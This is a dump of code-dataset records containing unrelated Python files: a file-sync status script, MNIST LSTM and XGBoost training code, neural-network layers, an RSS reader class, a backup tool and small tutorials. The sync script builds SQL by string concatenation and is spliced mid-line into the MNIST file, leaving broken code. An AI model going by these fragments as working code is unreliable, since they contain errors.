False\n","sub_path":"python/prism_adacs/prism_adacs/_internal/project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":12327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"214424159","text":"# -*- coding:utf-8 -*-\n# cellar.webhandler\n\nimport tornado.web\nfrom tornado.escape import json_encode\n\ndef web_ret(err_code=0, err_msg=''):\n d = { 'err_code': err_code,\n 'err_msg': err_msg,\n 'result': {}\n }\n return d\n\n\ndef jsonify(func):\n def wrapper(*args, **kwargs):\n handler = args[0]\n v = func(*args, **kwargs)\n handler.set_header(\"Content-Type\", \"application/json\")\n handler.write(json_encode(v))\n\n return wrapper\n \n\nclass BaseHandler(tornado.web.RequestHandler):\n pass\n\ndef build_route():\n from .page import IndexHandler\n from .store import UploadHandler, GetFileHandler\n return [\n (r'/', IndexHandler),\n (r'/([\\w]+)/upload/$', UploadHandler),\n (r'/([\\w]+)/([\\w-]+)/?$', GetFileHandler),\n ]\n\n\n","sub_path":"cellar/webhandler/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"247649662","text":"#! /usr/bin/python3\n\n\n\ndef lstatus():\n\timport os, sys\n\timport hashlib\n\timport sqlite3\n\timport os.path as osp\n\timport base64\n\tfrom encrypt import encrypt_file\n\n\ttry:\n\t\tobserving_root=None\n\t\t \n\t\tdef filehash(filepath):\n\t\t encrypt_file(filepath)\n\t\t file = open(filepath+'.enc','rb')\n\t\t docfile=file.read()\n\t\t sha = hashlib.sha256()\n\t\t sha.update(docfile)\n\t\t sha256=sha.hexdigest()\n\t\t os.remove(filepath+'.enc')\n\t\t return sha256\n\n\t\tmydb = sqlite3.connect(\"Files.db\")\n\t\tcur = mydb.cursor()\n\n\t\tcur.execute('''SELECT * FROM Root''')\n\t\tfor row in cur:\n\t\t observing_root=row[0]\n\n\t\t\n\t\tprint('Changes made after last remote sync in \"'+observing_root+'\" directory:')\n\t\tprint(' ','(use \"SPC add\" to update what will be synced remotely)')\n\t\tnothing=1\n\t\tlist_of_files=[]\n\t\tlist_of_dbfiles=[]\n\n\t\tfor root, dirs, files in os.walk(observing_root):\n\t\t\tfor fpath in [osp.join(root, f) for f in files]:\n\t\t\t\tname = osp.relpath(fpath, observing_root)\n\t\t\t\tlist_of_files.append(name)\n\n\t\t\tfor fpath in [osp.join(root, f) for f in dirs]:\n\t\t\t\tname = osp.relpath(fpath, observing_root)+'/'\n\t\t\t\tlist_of_files.append(name)\n\n\t\tcur.execute('''SELECT * FROM Files''')\n\t\tfor row in cur:\n\t\t\tlist_of_dbfiles.append(row[0])\n\n\n\t\tfor file in list_of_dbfiles:\n\t\t\tif file not in list_of_files:\n\t\t\t\tcur.execute('''DELETE FROM Files WHERE filepath=\"'''+file+'\"')\n\t\t\t\tnothing=0\n\t\t\t\tprint(' (deleted)'.ljust(15),file)\n\n\t\tfor file in list_of_files:\n\t\t\tif file not in list_of_dbfiles:\n\t\t\t\tnothing=0\n\t\t\t\tprint(' (added)'.ljust(15),file)\n\n\t\tfor file in list_of_files:\n\t\t\tif file in list_of_dbfiles:\n\t\t\t\tstamp = os.path.getmtime(observing_root+file)\n\t\t\t\tcur.execute('''SELECT * FROM Files WHERE filepath=\"'''+ file +'\"')\n\t\t\t\tdbstamp=None\n\t\t\t\tfor row in cur:\n\t\t\t\t\tdbstamp=row[2]\n\t\t\t\tstamp=float(stamp)\n\t\t\t\tdbstamp=float(dbstamp)\n\t\t\t\tif dbstamp 28x28)\nwith tf.name_scope(\"Layer0_Input\"):\n x = tf.placeholder(tf.float32, shape=[None, DIM_SIZE])\n out0 = tf.reshape(x, [-1, 28, 28])\n \n\n# Layer 1 : LSTM (28x28 -> 28x28x10)\nwith tf.name_scope(\"Layer1_LSTM\"):\n stacked_cells = [tf.nn.rnn_cell.LSTMCell(LSTM_CELLS) for _ in range(3)]\n cell = tf.nn.rnn_cell.MultiRNNCell(cells=stacked_cells)\n out1, _ = tf.nn.dynamic_rnn(\n cell=cell,\n inputs=out0,\n dtype=tf.float32\n )\n \n\n# Layer 2 : Output (28x28x10 -> 10)\nwith tf.name_scope(\"Layer2_Output\"):\n x2 = out1[:, -1, :]\n weight2 = tf.Variable(tf.truncated_normal([LSTM_CELLS, LABEL_SIZE], stddev=0.1))\n bias2 = tf.Variable(tf.zeros([10]))\n out2 = tf.nn.softmax(tf.matmul(x2, weight2) + bias2)\n \n\n# Loss\nwith tf.name_scope(\"loss\"):\n t = tf.placeholder(tf.float32, [None, LABEL_SIZE])\n loss = tf.reduce_mean(\n -tf.reduce_sum(\n t * tf.log(\n tf.clip_by_value(out2, 1e-10, 1.0)\n ),\n axis=[1]\n )\n )\n tf.summary.scalar(\"loss\", loss)\n\n\n# Train\nwith tf.name_scope(\"train\"):\n global_step = tf.Variable(0.0, trainable=False, name=\"global_step\")\n train_op = tf.train.AdamOptimizer(\n learning_rate=LEARNING_RATE\n ).minimize(\n loss,\n global_step=global_step\n )\n\n\n# Accuracy\nwith tf.name_scope(\"accuracy\"):\n accuracy = tf.reduce_mean(\n tf.cast(\n tf.equal(tf.arg_max(out2, 1), tf.arg_max(t, 1)),\n dtype=tf.float32\n )\n )\n tf.summary.scalar(\"accuracy\", accuracy)\n\n\n# Initialize\nwith tf.name_scope(\"initialize\"):\n init_op = tf.global_variables_initializer()\n\n\n# Marge\nwith tf.name_scope(\"marge\"):\n marge_op = tf.summary.merge_all()\n\n\n# Generate Minibatch\ndef GetMinibatch():\n images, labels = mnist_data.train.next_batch(BATCH_SIZE)\n return (images, labels)\n\n\n# Session\nwith tf.Session() as sess:\n \n checkpoint = tf.train.get_checkpoint_state(\"save/\")\n summary_writer = tf.summary.FileWriter(\"logs\", sess.graph)\n last_step = sess.run(global_step)\n current_loss = 0.0\n saver = tf.train.Saver()\n \n if checkpoint:\n last_model = checkpoint.model_checkpoint_path\n saver.restore(sess, last_model)\n print(\"Load Completed.\", last_model)\n \n else:\n sess.run(init_op)\n print(\"Initialized.\")\n \n for epoch in range(EPOCH):\n step = last_step + epoch + 1\n train_images, train_labels = GetMinibatch()\n current_loss, _ = sess.run(\n [loss, train_op],\n feed_dict={\n x: train_images,\n t: train_labels\n }\n )\n print(\"step: \", step)\n \n if epoch % 100 == 0 or (epoch + 1) == EPOCH:\n current_accuracy = sess.run(\n accuracy,\n feed_dict={\n x: test_images,\n t: test_labels,\n keep: 1.0\n }\n )\n \n print(\n \"[ Step:\", step, \"] accuracy =\",\n current_accuracy,\n \" loss =\",\n current_loss\n )\n \n summary_str = sess.run(\n marge_op,\n feed_dict={\n x: test_images,\n t: test_labels\n }\n )\n \n summary_writer.add_summary(summary_str, epoch)\n \n saver.save(\n sess,\n \"save/mnist_model\",\n global_step=epoch,\n write_meta_graph=False\n )\n","sub_path":"MNIST_LSTM/MNIST_LSTM.py","file_name":"MNIST_LSTM.py","file_ext":"py","file_size_in_byte":5106,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"340910766","text":"\"\"\"Layers defined for lightnet.\"\"\"\n#\n# Darknet related layers\n# Copyright EAVISE\n#\n\nimport logging\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\n__all__ = ['Conv2dBatchLeaky', 'GlobalAvgPool2d', 'PaddedMaxPool2d', 'Reorg']\nlog = logging.getLogger(__name__)\n\n\nclass Conv2dBatchLeaky(nn.Module):\n \"\"\" This convenience layer groups a 2D convolution, a batchnorm and a leaky ReLU.\n They are executed in a sequential manner.\n\n Args:\n in_channels (int): Number of input channels\n out_channels (int): Number of output channels\n kernel_size (int or tuple): Size of the kernel of the convolution\n stride (int or tuple): Stride of the convolution\n padding (int or tuple): padding of the convolution\n leaky_slope (number, optional): Controls the angle of the negative slope of the leaky ReLU; Default **0.1**\n \"\"\"\n\n def __init__(self, in_channels, out_channels, kernel_size, stride, padding, leaky_slope=0.1):\n super(Conv2dBatchLeaky, self).__init__()\n\n # Parameters\n self.in_channels = in_channels\n self.out_channels = out_channels\n self.kernel_size = kernel_size\n self.stride = stride\n self.padding = padding\n self.leaky_slope = leaky_slope\n\n # Layer\n self.layers = nn.Sequential(\n nn.Conv2d(self.in_channels, self.out_channels, self.kernel_size, self.stride, self.padding, bias=False),\n nn.BatchNorm2d(self.out_channels),\n nn.LeakyReLU(self.leaky_slope, inplace=True)\n )\n\n def __repr__(self):\n s = '{name} ({in_channels}, {out_channels}, kernel_size={kernel_size}, stride={stride}, padding={padding}, negative_slope={leaky_slope})'\n return s.format(name=self.__class__.__name__, **self.__dict__)\n\n def forward(self, x):\n x = self.layers(x)\n return x\n\n\nclass GlobalAvgPool2d(nn.Module):\n \"\"\"This layer averages each channel to a single number.\"\"\"\n\n def __init__(self):\n super(GlobalAvgPool2d, self).__init__()\n\n def forward(self, x):\n B = x.data.size(0)\n C = x.data.size(1)\n H = x.data.size(2)\n W = x.data.size(3)\n x = F.avg_pool2d(x, (H, W))\n x = x.view(B, C)\n return x\n\n\nclass PaddedMaxPool2d(nn.Module):\n \"\"\" Maxpool layer with a replicating padding.\n\n Args:\n kernel_size (int or tuple): Kernel size for maxpooling\n stride (int or tuple, optional): The stride of the window; Default ``kernel_size``\n padding (tuple, optional): (left, right, top, bottom) padding; Default **None**\n dilation (int or tuple, optional): A parameter that controls the stride of elements in the window\n \"\"\"\n\n def __init__(self, kernel_size, stride=None, padding=(0, 0, 0, 0), dilation=1):\n super(PaddedMaxPool2d, self).__init__()\n self.kernel_size = kernel_size\n self.stride = stride or kernel_size\n self.padding = padding\n self.dilation = dilation\n\n def __repr__(self):\n return '{self.__class__.__name__} (kernel_size={self.kernel_size}, stride={self.stride}, padding={self.padding}, dilation={self.dilation})'.format(self=self)\n\n def forward(self, x):\n x = F.max_pool2d(F.pad(x, self.padding, mode='replicate'), self.kernel_size, self.stride, 0, self.dilation)\n return x\n\n\nclass Reorg(nn.Module):\n \"\"\" This layer reorganizes a tensor according to a stride.\n The dimensions 2,3 will be sliced by the stride and then stacked in dimension 1. (input must have 4 dimensions)\n\n Args:\n stride (int): stride to divide the input tensor\n \"\"\"\n\n def __init__(self, stride=2):\n super(Reorg, self).__init__()\n if not isinstance(stride, int):\n raise TypeError('stride is not an int [{type}]'.format(type_=type(stride)))\n self.stride = stride\n self.darknet = True\n\n def __repr__(self):\n return '{self.__class__.__name__} (stride={self.stride}, darknet_compatible_mode={self.darknet})'.format(self=self)\n\n def forward(self, x):\n assert(x.data.dim() == 4)\n B = x.data.size(0)\n C = x.data.size(1)\n H = x.data.size(2)\n W = x.data.size(3)\n\n if H % self.stride != 0:\n raise ValueError('Dimension mismatch: {H} is not divisible by {self.stride}'.format(H=H, self=self))\n if W % self.stride != 0:\n raise ValueError('Dimension mismatch: {W} is not divisible by {self.stride}'.format(W=W, self=self))\n\n # darknet compatible version from: https://github.com/thtrieu/darkflow/issues/173#issuecomment-296048648\n if self.darknet:\n x = x.view(B, C // (self.stride**2), H, self.stride, W, self.stride).contiguous()\n x = x.permute(0, 3, 5, 1, 2, 4).contiguous()\n x = x.view(B, -1, H // self.stride, W // self.stride)\n else:\n ws, hs = self.stride, self.stride\n x = x.view(B, C, H // hs, hs, W // ws, ws).transpose(3, 4).contiguous()\n x = x.view(B, C, H // hs * W // ws, hs * ws).transpose(2, 3).contiguous()\n x = x.view(B, C, hs * ws, H // hs, W // ws).transpose(1, 2).contiguous()\n x = x.view(B, hs * ws * C, H // hs, W // ws)\n\n return x\n","sub_path":"lightnet/network/layer/_darknet.py","file_name":"_darknet.py","file_ext":"py","file_size_in_byte":5221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"126581014","text":"import json\nimport logging\nimport re\nimport sys\nfrom codecs import encode, decode\n\nimport jsonpickle\nimport requests\nfrom colorama import Fore, Back, Style, init\nfrom tinydb import Query, TinyDB, where\n\nLOGGER = logging.getLogger('rss_logger')\ninit()\n\n\nclass RssFeed:\n '''\n Contatins RSS channel title, description, link and list of news\n Contatins method for parsing class to json via jsonpickle module\n '''\n def __init__(self, title, description, link, news_list):\n LOGGER.debug('INIT RSS FEED CLASS')\n self.news_list = news_list\n self.title = title\n self.description = description\n self.link = link\n\n def print_feed(self):\n result = '\\n'\n result += ' '*36 + self.title + '\\n'\n result += ' '*36 + Back.BLACK + '='*len(self.title) + Back.RESET + '\\n'\n # This line do some math to align descrtiption and title\n result += ' '*int(abs((36 + len(self.title)/2 - len(self.description)/2))) + self.description + '\\n\\n'\n result += Back.RED + '='*120 + Back.RESET + '\\n'\n for _, item in enumerate(self.news_list):\n result += str(item) + '\\n'\n result += Back.RED + '='*120 + Back.RESET + '\\n'\n print(result)\n\n def to_json(self):\n '''\n Parses rss_feed class to JSON\n Method uses jsonpickle module because of using list of classes as field.\n load_backend() and set_encoder_options() loads standart json lib and set\n proper params to beautify json string\n '''\n LOGGER.debug('FORMATTING FEED TO JSON')\n jsonpickle.load_backend('json', 'dumps', 'loads')\n jsonpickle.set_preferred_backend('json')\n # ensure_ascii = False to solve encoding problems\n jsonpickle.set_encoder_options('json', indent=4, sort_keys=False, ensure_ascii=False)\n json_string = jsonpickle.encode(self, make_refs=False, unpicklable=False)\n # Regex finds base64 string and replaces it for shorter output\n json_string = re.sub(r'(\\\"img\\\":\\ )\\\"b\\'.*?\\'', r'\\1\"base64 image', json_string)\n # Unescaping\n json_string = decode(encode(json_string, 'latin-1', 'backslashreplace'), 'unicode-escape')\n LOGGER.debug('PRINTING JSON')\n print(json_string)\n\n def cache(self, cache_store):\n '''\n Using TinyDB for simple caching. Database stores RssItem class in\n json format.\n '''\n LOGGER.debug('INIT DATABASE')\n database = TinyDB(cache_store, sort_keys=True, indent=4, separators=(',', ': '), ensure_ascii=False)\n LOGGER.debug('CACHING...')\n for _, news_item in enumerate(self.news_list):\n current_news = Query()\n # Checking if the news is already stored in database\n if not database.contains(current_news.link == news_item.link):\n database.insert(news_item.__dict__)\n LOGGER.debug('DONE!')\n database.close()\n\n def get_news_as_dicts(self, limit):\n news_list_dicts = []\n if limit is None or limit > len(self.news_list) or limit < 0:\n limit = len(self.news_list)\n self.news_list = self.news_list[:limit]\n for news_item in self.news_list:\n news_list_dicts.append(news_item.asdict())\n return news_list_dicts\n","sub_path":"final_task/rss_reader/rss_feed.py","file_name":"rss_feed.py","file_ext":"py","file_size_in_byte":3287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"7081635","text":"# 딕셔너리\nages = {'박찬호':48, '박지성':40, '박세리':50, '이승엽':43}\n\nperson = {'이름':'홍길동', '나이':25, '주소':'서울 종로구 삼일대로', '몸무게':88.8,\n '취미':['운동', '독서', '영화감상']}\n\nsungjuk = {'C/C++':'A', 'Java':'B+', '네트워킹':'C',\n '보안':'A+', '해킹':'F', '시스템':'C+'}\n\n# 홍길동의 나이와 취미 조회\nperson['나이']\nperson['취미']\n\n# 홍길동의 혈액형 추가\n# dict에 새로운 항목을 추가할때는\n# 새로운 키와 값으로 구성해야 함\nperson['혈액형'] = 'A'\nperson\n\n# dict에 기존 키와 값으로 구성한 항목을\n# 추가하려 하면 기존키에 저장된 값이 변경됨\nperson['혈액형'] = 'O'\n\n# dict에서 항목 삭제 : pop, remove\nperson.pop('몸무게')\n\n# 반복문으로 삭제\ndellist = ['나이', '취미']\nfor key in dellist:\n person.pop(key)\n\nprint(person)\n\n# dict 모든항목 출력\nperson = {'이름':'홍길동', '나이':25, '주소':'서울 종로구 삼일대로', '몸무게':88.8,\n '취미':['운동', '독서', '영화감상']}\n\nfor key in person.keys():\n print(person[key])\n\n# dict 의 키와 값 모두 가져오기 : items\nperson.items()\n\nfor k, v in person.items():\n print(k, v)\n\n# 중간고사 성적관리 프로그램 만들기\nmidsj = {'C/C++':'A', 'Java':'B+', '모바일':'C',\n '보안':'A+', '해킹':'F', '시스템':'C+'}\nmidsj['Java']\nmidsj['시스템']\nmidsj['파이썬'] = 'A'\nmidsj['OS'] = 'A+'\nmidsj['Java'] = 'F'\nmidsj['시스템'] = 'A'\nprint(midsj.items())\n\nfor key in midsj.keys():\n print(key, '\\t: ',midsj[key])\n\nfor k, v in midsj.items():\n print(f'{k} : {v}')\n\n# 딕셔너리 for 축약문\n# { 키/값 표현식 for 키,값 in zip(반복가능객체1, 반복가능객체2)}\n# 이름과 성적 리스트를 dict 객체로 재생성하세요\nname = ['혜교', '지현', '수지'] # 키\ngrd = ['수', '양', '미'] # 값\nsj = {}\n\nsj[name[0]] = grd[0]\nsj[name[1]] = grd[1]\nsj[name[2]] = grd[2]\n\n# 반복문 사용\nfor i in range(3):\n sj[name[i]] = grd[i]\n\n# dict 컴프리헨션\n# { 키/값 표현식 for 키,값 in zip(반복가능객체1, 반복가능객체2)}\nsj2 = {key:val for key, val in zip(name, grd)}\n\n# zip : 여러개의 데이터를 하나로 합쳐서\n# iterable한 객체로 생성해 줌 = 개별 객체는 튜플로 반환\nfor pair in zip(name, grd):\n print(pair)\n\n\n","sub_path":"07dict.py","file_name":"07dict.py","file_ext":"py","file_size_in_byte":2421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"200600205","text":"import xgboost as xgb\nimport pickle\n\n# load the training df and training labels\nwith open('../processed_data/df_train.pickle', 'rb') as handle:\n df_train = pickle.load(handle)\n\nwith open('../processed_data/labels_train.pickle', 'rb') as handle:\n labels_train = pickle.load(handle)\n\nf_to_use = ['user_total_orders', 'user_total_items', 'user_total_distinct_items', 'user_last_product_count',\n 'user_last_vs_previous_basket', 'user_distinct_ratio', 'user_mode_order_dow', 'user_mode_order_hour_of_day',\n 'user_nb_weekend_order', 'user_nb_weekly_order', 'user_weekend_ratio', 'user_weekly_ratio',\n 'user_last_avg_days_between_orders', 'user_last_first_avg_days_ratio', 'user_last_two_items_number',\n 'user_first_two_reorder_number', 'user_last_two_reorder_number', 'user_first_last_number_ratio',\n 'user_first_last_reorder_ratio', 'user_diff_hour_since_last', 'user_last2_all_reorder_ratio',\n 'user_last_reorder_count', 'user_last_reorder_rate', 'user_tenure', 'user_avg_nb_tenure',\n 'user_nb_days_is_30', 'user_nb_days_is_30_ratio', 'order_hour_of_day', 'order_days_since_prior_order',\n 'order_days_since_ratio', 'order_weekend', 'order_weekly', 'order_days_is_30', 'order_number',\n 'product_orders', 'product_reorder_rate', 'product_avg_days_since', 'product_avg_dow',\n 'product_avg_order_number', 'product_nb_weekend_order', 'product_nb_weekly_order', 'product_weekend_ratio',\n 'product_weekly_ratio', 'product_dimension_1', 'product_dimension_2', 'product_dimension_3',\n 'product_std_days_since', 'product_nb_days_is_30', 'product_days_30_ratio', 'as_orders', 'as_reorders',\n 'as_reorder_rate', 'as_avg_days_since', 'as_unique_user', 'as_avg_add_to_cart', 'as_unique_prod',\n 'dp_orders', 'dp_reorders', 'dp_reorder_rate', 'dp_avg_days_since', 'dp_order_per_unique_user',\n 'dp_avg_add_to_cart', 'dp_unique_prods', 'UP_average_pos_in_cart', 'UP_reorder_rate', 'UP_order_number_min',\n 'UP_order_number_max', 'UP_orders_since_last', 'UP_orders_since_first', 'UP_order_rate_since_first_order',\n 'UP_delta_hour_vs_last', 'UP_order_dow_mean', 'UP_order_hour_of_day_mean', 'UP_days_since_prior_order_mean',\n 'UP_weekend_number', 'UP_weekly_number', 'UP_weekend_ratio', 'UP_weekly_ratio', 'UP_first_two_reordered',\n 'UP_last_two_reordered', 'UP_days_is_30_sum', 'UP_days_since_prior_order_std', 'ua_orders', 'ua_reorder',\n 'ua_reorder_rate', 'ud_orders', 'ud_reorder', 'ud_reorder_rate', 'ud_avg_days_since', 'product_aisle_id',\n 'product_department_id', 'order_dow']\n\n\nd_train = xgb.DMatrix(df_train[f_to_use], labels_train)\ndel df_train\n\n\nxgb_params = {\n \"objective\" : \"reg:logistic\"\n ,\"eval_metric\" : \"logloss\"\n ,\"eta\" : 0.1\n ,\"max_depth\" : 6\n ,\"min_child_weight\" :10\n ,\"gamma\" :0.70\n ,\"subsample\" :0.76\n ,\"colsample_bytree\" :0.95\n ,\"alpha\" :2e-05\n ,\"lambda\" :10\n}\n\n\nprint('training the model')\nwatchlist= [(d_train, \"train\")]\nbst = xgb.train(params=xgb_params, dtrain=d_train, num_boost_round=150, evals=watchlist, verbose_eval=10)\n\n\nwith open('xgb_model.pickle', 'wb') as handle:\n pickle.dump(bst, handle, protocol=pickle.HIGHEST_PROTOCOL)","sub_path":"model/xgb_model.py","file_name":"xgb_model.py","file_ext":"py","file_size_in_byte":3378,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"538429417","text":"#!/usr/bin/env python3\n\n# Copyright (c) 2019 Aiden Holmes (aidenholmes@teknik.io)\n# This program is licensed under the Apache License 2.0\n# You are free to copy, modify, and redistribute the code.\n# See LICENSE file.\n\n# backr backup tool in python\n\nimport os\nimport datetime\nimport hashlib\nimport sys\nimport tarfile\nimport pickle\nfrom distutils.dir_util import copy_tree\n\ndef get_item_index(array, item):\n for i in range(len(array)):\n if array[i] == item:\n if len(array) > i + 1:\n return i\n else:\n print(\"error: argument required after \" + array[i])\n sys.exit(1)\n return False\n\n# Take Arguments\nfor i in range(len(sys.argv)):\n if \"-h\" in sys.argv or \"--help\" in sys.argv:\n print(\"backr simple backup tool\")\n print(\"usage: backr.py -s -l [-n|-c] [-w|-e ]\")\n print(\"[-h|--help] - print this help\")\n print(\"[-c|--compress] - use compression\")\n print(\"[-n|--no-compress] - do not use compression\")\n print(\"[-d|--default] - backup to default location, ~/backrs\")\n print(\"[-w|--no-comment] - do not prompt for comment\")\n print(\"[-e|--comment ] - set comment\")\n print(\"[-l|--location ] - set location\")\n print(\"location will be ignored if .backr-location file exists\")\n print(\"[-s|--source ] - set source dir to backup\")\n print(\"if source is not set, current directory will be used\")\n sys.exit(0)\n if \"-d\" in sys.argv or \"--default\" in sys.argv:\n prompt_for_location = False\n elif \"-l\" in sys.argv:\n backup_location = sys.argv[get_item_index(sys.argv,\"-l\")+1]\n prompt_for_location = False\n elif \"--location\" in sys.argv:\n backup_location = sys.argv[get_item_index(sys.argv,\"--location\")+1]\n prompt_for_location = False\n else:\n prompt_for_location = True\n if \"-c\" in sys.argv or \"--compress\" in sys.argv:\n use_compression = True\n prompt_for_compression = False\n elif \"-n\" in sys.argv or \"--no-compress\" in sys.argv:\n use_compression = False\n prompt_for_compression = False\n else:\n prompt_for_compression = True\n if \"-w\" in sys.argv or \"--no-comment\" in sys.argv:\n prompt_for_comment = False\n elif \"--comment\" in sys.argv:\n comment = sys.argv[get_item_index(sys.argv,\"--comment\")+1]\n prompt_for_comment = False\n elif \"-e\" in sys.argv:\n comment = sys.argv[get_item_index(sys.argv,\"-e\")+1]\n prompt_for_comment = False\n else:\n prompt_for_comment = True\n if \"-s\" in sys.argv:\n cwd = sys.argv[get_item_index(sys.argv,\"-s\")+1]\n elif \"--source\" in sys.argv:\n cwd = sys.argv[get_item_index(sys.argv,\"--source\")+1]\n\n# Define a function for asking the user yes or no questions\n# Taken from: http://stackoverflow.com/questions/3041986/ddg#3041990\ndef query_yes_no(question):\n default = None\n valid = {\"yes\": True, \"y\": True, \"ye\": True,\n \"no\": False, \"n\": False}\n prompt = \" [y/n] \"\n while True:\n sys.stdout.write(question + prompt)\n choice = input().lower()\n if default is not None and choice == '':\n return valid[default]\n elif choice in valid:\n return valid[choice]\n else:\n sys.stdout.write(\"Please respond with 'yes' or 'no' \"\n \"(or 'y' or 'n').\\n\")\n\n# Define a function for asking the user for a comment\n# This comment will be part of a directory name\n# In UNIX a filename can contain everything except for \"/\" or NULL\n# And we don't have to worry about NULL because this will be appended to the date\ndef get_comment():\n while True:\n comment = input(\"Enter a comment for this backup (or leave blank): \")\n if \"/\" in comment:\n print(\"comment cannot contain '/'\")\n else:\n return comment\n\n# Define a function to make a tarball, used for the compression feature\ndef make_tarfile(output_filename, source_dir):\n with tarfile.open(output_filename, \"w:gz\") as tar:\n tar.add(source_dir, arcname=os.path.basename(source_dir))\n\n# Main Function\ndef main():\n # use_compression was defined by an argument in the initial for loop\n global use_compression\n global comment\n global backup_location\n global cwd\n if prompt_for_compression:\n use_compression = query_yes_no(\"Use compression?\")\n\n # Set current working directory\n try:\n cwd\n except NameError:\n cwd = os.getcwd()\n else:\n if not os.path.exists(cwd):\n print(\"Error: \" + cwd + \" not found\")\n sys.exit(1)\n\n # Determining save location:\n # Check for .backr_location file with stores save location after first run\n home = os.path.expanduser(\"~\")\n default_location = home+\"/backrs\"\n if os.path.isfile(cwd + \"/.backr-location\"):\n with open(cwd + '/.backr-location', 'r') as myfile:\n backup_location = myfile.read()\n\n # If .backr_location does not exit, prompt the user for a location and save\n # it to the file, later this should be done entirely as an argument to make\n # backr more portable\n else:\n if not prompt_for_location:\n try:\n backup_location\n except NameError:\n backup_location = default_location\n else:\n print(\"Enter a save location\")\n print(\"Leave blank for default \"+default_location)\n print(\"The path will be created if it does not exist\")\n backup_location = input(\"> \")\n\n # If the user leaves the location blank, use the default (~/backrs)\n if backup_location == \"\":\n backup_location = default_location\n\n # Write it to the file\n f = open(cwd + '/.backr-location', 'w')\n f.write(backup_location)\n f.close()\n\n # Output\n print(\"will save to \"+backup_location)\n\n # Get Comment\n if prompt_for_comment:\n comment = get_comment()\n else:\n try:\n comment\n except NameError:\n comment = \"\"\n\n # Set some variables:\n # Set basename directory variable\n basename = os.path.basename(cwd)\n\n # Set current time in a possible dir format\n if comment == \"\":\n time = basename + \"-\" + datetime.datetime.now().strftime('%G-%b-%d-%I_%M%p_%S')\n else:\n time = basename + \"-\" + datetime.datetime.now().strftime('%G-%b-%d-%I_%M%p_%S') + \"-\" + comment\n\n # Generate a hash of the current dir\n qhash = hashlib.sha1(cwd.encode(\"UTF-8\")).hexdigest()[:7]\n\n # Set basehash var to basename and hash\n basehash = basename + \"-\" + qhash\n\n # Backup folder name will be /location/basename-hash/time\n # Add basehash to backup_location\n backup_location += \"/\" + basehash\n\n # We'll need a variable set to backup_location at the point later\n backbase = backup_location\n\n # At this point we know the save location like ~/backrs exists\n # We need to create the folder specifically for this folder\n # This creates ~/backrs/basename-hash\n if not os.path.exists(backup_location):\n os.makedirs(backup_location)\n\n # At time to backup_location to create a folder for this specific backup\n # backup_location is now, for example ~/backrs/basename-hash/basename-time-comment\n # Remember that \"time\" variable contains basename-time-comment\n backup_location += \"/\" + time\n\n # If use_compression was set, make a tarball of the backup\n # Output varies depending on whether or not it was compressed\n if use_compression:\n make_tarfile(backbase+\"/\"+time+\".tar.gz\", cwd)\n print(\"folder backed up to \"+backbase+\"/\"+time+\".tar.gz\")\n else:\n # This line does the actual backup it creates the backup location folder\n # and copies the current directory to the backup location\n copy_tree(cwd, backup_location)\n print(\"folder backed up to \"+backup_location)\n\n # We use a file called backtrack.txt to keep track of how many backups\n # there are and their locations, this is necessary for restor.py\n # It is stored in the backbase, eg ~/backrs/basename-hash\n vc_file = backbase+\"/backtrack.txt\"\n\n # If the file does not exist we create it using pickle\n # We only write the backup location or, if compressed, the tarball location\n if not os.path.exists(vc_file):\n fw = open(vc_file, 'wb')\n if not use_compression:\n data = [backup_location]\n else:\n data = [backbase+\"/\"+time+\".tar.gz\"]\n pickle.dump(data, fw)\n fw.close()\n\n # If backtrack.txt already exists we use pickle to set its contents to the data var which we will add to\n else:\n data = pickle.load(open(vc_file, \"rb\"))\n if not use_compression:\n data += [backup_location]\n else:\n data += [backbase+\"/\"+time+\".tar.gz\"]\n fw = open(vc_file, 'wb')\n pickle.dump(data, fw)\n fw.close()\n\n# Use the except KeyboardInterrupt on main trick to allow the user to C-c anytime\nif __name__ == \"__main__\":\n try:\n main()\n except KeyboardInterrupt:\n print('\\n' + \"exit\")\n sys.exit(0)\n","sub_path":"backr.py","file_name":"backr.py","file_ext":"py","file_size_in_byte":9229,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486409931","text":"import struct\n\n# res = 'sjfhsdhfhfjhttrgrdgsfdgfgfgsfggdfgfsdfsdafasdfsadfsdafsdfsdafsadfsdfdsgsfdgsfdgsfdgsfdgsfdgsfdgsldgfdgfdgsfdgsfdgsfdgsdgsfdgsfdgsfdgsfdgsfdfh'\n# print(len(res))\n# head = struct.pack('i',len(res))\n# print(len(head))\n#\n# real_len = struct.unpack('i',head)[0]\n# print('real_len',real_len)\nimport json\nd = {\n 'file_name':'xxx',\n 'file_size':123213123123234543545324546536546563465435435423543256546546635463465563565653,\n 'md5':'dkfkdsafksdklafj;asfdsaf'\n}\ndata_bytes = json.dumps(d).encode('utf-8')\nprint(len(data_bytes))\nhead = struct.pack('i',len(data_bytes))\n\nhead_bytes = struct.unpack('i',head)[0]\nprint(head_bytes)\n\n\n\n\n\n","sub_path":"docs/network-programming/code/struct模块.py","file_name":"struct模块.py","file_ext":"py","file_size_in_byte":656,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"41367173","text":"import sys\r\n\r\nn = int(input())\r\n\r\nOddSum = 0\r\nOddMin = sys.maxsize\r\nOddMax = - sys.maxsize\r\nEvenSum = 0\r\nEvenMin = sys.maxsize\r\nEvenMax = - sys.maxsize\r\n\r\n\r\nfor i in range(0, n):\r\n num = float(input())\r\n if i % 2 == 0:\r\n if num > OddMax:\r\n OddMax = num\r\n if num < OddMin:\r\n OddMin = num\r\n OddSum += num\r\n else:\r\n if num < EvenMin:\r\n EvenMin = num\r\n if num > EvenMax:\r\n EvenMax = num\r\n EvenSum += 